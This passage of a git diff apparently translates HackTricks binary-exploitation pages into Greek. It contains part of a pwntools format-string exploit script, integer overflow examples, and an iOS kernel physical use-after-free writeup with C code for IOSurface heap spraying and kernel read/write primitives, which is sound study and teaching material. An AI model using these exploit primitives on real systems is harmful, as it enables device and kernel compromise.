SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -141,5 +140,4 @@ format_string.execute_writes() P.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index cf1a6ca4f..400dd5b48 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -1,123 +1,115 @@ -# Integer Overflow +# Υπερχείλιση Ακέραιου {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. +Στην καρδιά μιας **υπερχείλισης ακέραιου** βρίσκεται ο περιορισμός που επιβάλλεται από το **μέγεθος** των τύπων δεδομένων στον προγραμματισμό υπολογιστών και την **ερμηνεία** των δεδομένων. -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. +Για παράδειγμα, ένας **8-bit unsigned integer** μπορεί να αναπαραστήσει τιμές από **0 έως 255**. Αν προσπαθήσετε να αποθηκεύσετε την τιμή 256 σε έναν 8-bit unsigned integer, θα επανέλθει στο 0 λόγω του περιορισμού της χωρητικότητάς του. Ομοίως, για έναν **16-bit unsigned integer**, ο οποίος μπορεί να κρατήσει τιμές από **0 έως 65,535**, η προσθήκη 1 στο 65,535 θα επαναφέρει την τιμή στο 0. -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). +Επιπλέον, ένας **8-bit signed integer** μπορεί να αναπαραστήσει τιμές από **-128 έως 127**. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για να αναπαραστήσει το πρόσημο (θετικό ή αρνητικό), αφήνοντας 7 bits για να αναπαραστήσουν το μέγεθος. Ο πιο αρνητικός αριθμός αναπαρίσταται ως **-128** (δυαδικό `10000000`), και ο πιο θετικός αριθμός είναι **127** (δυαδικό `01111111`). -### Max values +### Μέγιστες τιμές -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: +Για τις πιθανές **ευπάθειες ιστού** είναι πολύ ενδιαφέρον να γνωρίζουμε τις μέγιστες υποστηριζόμενες τιμές: {{#tabs}} {{#tab name="Rust"}} - ```rust fn main() { - let mut quantity = 2147483647; +let mut quantity = 2147483647; - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); - println!("{}", mul_result); - println!("{}", add_result); +println!("{}", mul_result); +println!("{}", add_result); } ``` - {{#endtab}} {{#tab name="C"}} - ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; +int a = INT_MAX; +int b = 0; +int c = 0; - b = a * 100; - c = a + 1; +b = a * 100; +c = a + 1; - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` - {{#endtab}} {{#endtabs}} -## Examples +## Παραδείγματα -### Pure overflow - -The printed result will be 0 as we overflowed the char: +### Καθαρή υπερχείλιση +Το εκτυπωμένο αποτέλεσμα θα είναι 0 καθώς υπερχείλαμε το char: ```c #include int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; } ``` +### Μετατροπή από Υπογεγραμμένο σε Μη Υπογεγραμμένο -### Signed to Unsigned Conversion - -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - +Σκεφτείτε μια κατάσταση όπου ένας υπογεγραμμένος ακέραιος διαβάζεται από την είσοδο του χρήστη και στη συνέχεια χρησιμοποιείται σε ένα πλαίσιο που τον αντιμετωπίζει ως μη υπογεγραμμένο ακέραιο, χωρίς κατάλληλη επικύρωση: ```c #include int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} - return 0; +return 0; } ``` +Σε αυτό το παράδειγμα, αν ένας χρήστης εισάγει έναν αρνητικό αριθμό, θα ερμηνευτεί ως ένας μεγάλος μη υπογεγραμμένος ακέραιος λόγω του τρόπου που ερμηνεύονται οι δυαδικές τιμές, ενδεχομένως οδηγώντας σε απροσδόκητη συμπεριφορά. -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples +### Άλλα Παραδείγματα - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- Μόνο 1B χρησιμοποιείται για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατό να υπερχειλίσει και να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψει την προστασία ελέγχου μήκους - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: +- Δεδομένων μερικών αριθμών, βρείτε χρησιμοποιώντας το z3 έναν νέο αριθμό που πολλαπλασιαζόμενος με τον πρώτο θα δώσει τον δεύτερο: - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections +- Μόνο 1B χρησιμοποιείται για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατό να υπερχειλίσει και να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψει την προστασία ελέγχου μήκους και να επαναγράψει στη στοίβα την επόμενη τοπική μεταβλητή και να παρακάμψει και τις δύο προστασίες ## ARM64 -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +Αυτό **δεν αλλάζει σε ARM64** όπως μπορείτε να δείτε σε [**αυτή την ανάρτηση ιστολογίου**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index dbf5dc009..8a4bbc25a 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -2,211 +2,202 @@ ## Physical use-after-free -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον, περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Memory management in XNU -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**. #### Levels of Page Tables in iOS -Page tables are organized hierarchically in three levels: +Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα: -1. **L1 Page Table (Level 1)**: - * Each entry here represents a large range of virtual memory. - * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. -2. **L2 Page Table (Level 2)**: - * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). - * An L1 entry may point to an L2 table if it can't map the entire region itself. -3. **L3 Page Table (Level 3)**: - * This is the finest level, where each entry maps a single **4 KB** memory page. - * An L2 entry may point to an L3 table if more granular control is needed. +1. **L1 Page Table (Επίπεδο 1)**: +* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης. +* Καλύπτει **0x1000000000 bytes** (ή **256 GB**) εικονικής μνήμης. +2. **L2 Page Table (Επίπεδο 2)**: +* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB). +* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της. +3. **L3 Page Table (Επίπεδο 3)**: +* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης. +* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος. #### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**: - * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). +* Ορισμένες εγγραφές σε έναν πίνακα σελίδων **αντιστοιχούν άμεσα σε ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση). * **Pointer to Child Page Table**: - * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **πίνακα παιδιών** στο επόμενο επίπεδο (π.χ., L2). #### Example: Mapping a Virtual Address -Let’s say you try to access the virtual address **0x1000000000**: +Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**: 1. **L1 Table**: - * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. +* Ο kernel ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει μια **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2. 2. **L2 Table**: - * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. +* Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί. 3. **L3 Table**: - * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +* Ο kernel αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης. #### Example of Address Mapping -If you write the physical address **0x800004000** into the first index of the L2 table, then: +Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε: -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**. +* Αυτό είναι μια **block mapping** στο επίπεδο L2. -Alternatively, if the L2 entry points to an L3 table: +Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3: -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +* Κάθε σελίδα 4 KB στην εικονική διεύθυνση **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3. ### Physical use-after-free -A **physical use-after-free** (UAF) occurs when: +Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν: -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. +1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**. +2. Οι **πίνακες σελίδων** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία. +3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη. +4. Ωστόσο, λόγω ενός **σφάλματος**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη. +5. Ο kernel μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα του kernel**. +6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη. -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης του kernel**, οι οποίες θα μπορούσαν να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του kernel**. ### Exploitation Strategy: Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**: -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του kernel. +2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση. +3. **Σαρώνονται οι ελεύθερες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface έχει προσγειωθεί σε μια ελεύθερη σελίδα. +4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν τη μνήμη του kernel**. -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) ### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: - * Use one field to **read any 32-bit value** in kernel memory. - * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. - -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή"). +2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα. +3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του kernel. Αυτό τους επιτρέπει: +* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του kernel. +* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **primitive ανάγνωσης/εγγραφής του kernel**. +Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { - if (*nClients >= 0x4000) return; - for (int i = 0; i < nSurfaces; i++) { - fast_create_args_t args; - lock_result_t result; - - size_t size = IOSurfaceLockResultSize; - args.address = 0; - args.alloc_size = *nClients + 1; - args.pixel_format = IOSURFACE_MAGIC; - - IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); - io_connect_t id = result.surface_id; - - (*clients)[*nClients] = id; - *nClients = (*nClients) += 1; - } +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} } ``` - -Search for **`IOSurface`** objects in one freed physical page: - +Αναζητήστε αντικείμενα **`IOSurface`** σε μία ελεύθερη φυσική σελίδα: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { - io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); - int nSurfaceIDs = 0; - - for (int i = 0; i < 0x400; i++) { - spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - - for (int j = 0; j < nPages; j++) { - uint64_t start = puafPages[j]; - uint64_t stop = start + (pages(1) / 16); - - for (uint64_t k = start; k < stop; k += 8) { - if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { - info.object = k; - info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; - if (self_task) *self_task = iosurface_get_receiver(k); - goto sprayDone; - } - } - } - } - +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + sprayDone: - for (int i = 0; i < nSurfaceIDs; i++) { - if (surfaceIDs[i] == info.surface) continue; - iosurface_release(client, surfaceIDs[i]); - } - free(surfaceIDs); - - return 0; +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; } ``` +### Επιτυχία Ανάγνωσης/Εγγραφής Kernel με IOSurface -### Achieving Kernel Read/Write with IOSurface +Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια ελεύθερη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**. -After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. +**Κύρια Πεδία στο IOSurface** -**Key Fields in IOSurface** +Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία: -The IOSurface object has two crucial fields: +1. **Δείκτης Χρήσης**: Επιτρέπει μια **32-bit ανάγνωση**. +2. **Δείκτης Χρονοσήμανσης**: Επιτρέπει μια **64-bit εγγραφή**. -1. **Use Count Pointer**: Allows a **32-bit read**. -2. **Indexed Timestamp Pointer**: Allows a **64-bit write**. +Με την αντικατάσταση αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής. -By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. +#### 32-Bit Ανάγνωση Kernel -#### 32-Bit Kernel Read - -To perform a read: - -1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset. -2. Use the `get_use_count` method to read the value at that address. +Για να εκτελέσετε μια ανάγνωση: +1. Αντικαταστήστε τον **δείκτη χρήσης** ώστε να δείχνει στη στοχευμένη διεύθυνση μείον μια απόσταση 0x14 byte. +2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { - uint64_t args[1] = {surfaceID}; - uint32_t size = 1; - uint64_t out = 0; - IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); - return (uint32_t)out; +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { - uint64_t orig = iosurface_get_use_count_pointer(info.object); - iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 - uint32_t value = get_use_count(info.client, info.surface); - iosurface_set_use_count_pointer(info.object, orig); - return value; +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; } ``` - #### 64-Bit Kernel Write -To perform a write: - -1. Overwrite the **indexed timestamp pointer** to the target address. -2. Use the `set_indexed_timestamp` method to write a 64-bit value. +Για να εκτελέσετε μια εγγραφή: +1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με δείκτη** στη στοχευμένη διεύθυνση. +2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια τιμή 64-bit. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { - uint64_t args[3] = {surfaceID, 0, value}; - IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { - uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); - iosurface_set_indexed_timestamp_pointer(info.object, addr); - set_indexed_timestamp(info.client, info.surface, value); - iosurface_set_indexed_timestamp_pointer(info.object, orig); +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` +#### Ανακεφαλαίωση Ροής Εκμετάλλευσης -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. -2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control. -4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods. - -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωσης**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση. +2. **Ψεκασμός Αντικειμένων IOSurface**: Κατανομή πολλών αντικειμένων IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα. +3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε. +4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωσης**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface. +Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e). diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 319126fe0..7a079e010 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -2,196 +2,189 @@ ## Heap Basics -The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. +Ο σωρός είναι βασικά ο χώρος όπου ένα πρόγραμμα μπορεί να αποθηκεύσει δεδομένα όταν ζητά δεδομένα καλώντας συναρτήσεις όπως **`malloc`**, `calloc`... Επιπλέον, όταν αυτή η μνήμη δεν χρειάζεται πλέον, καθίσταται διαθέσιμη καλώντας τη συνάρτηση 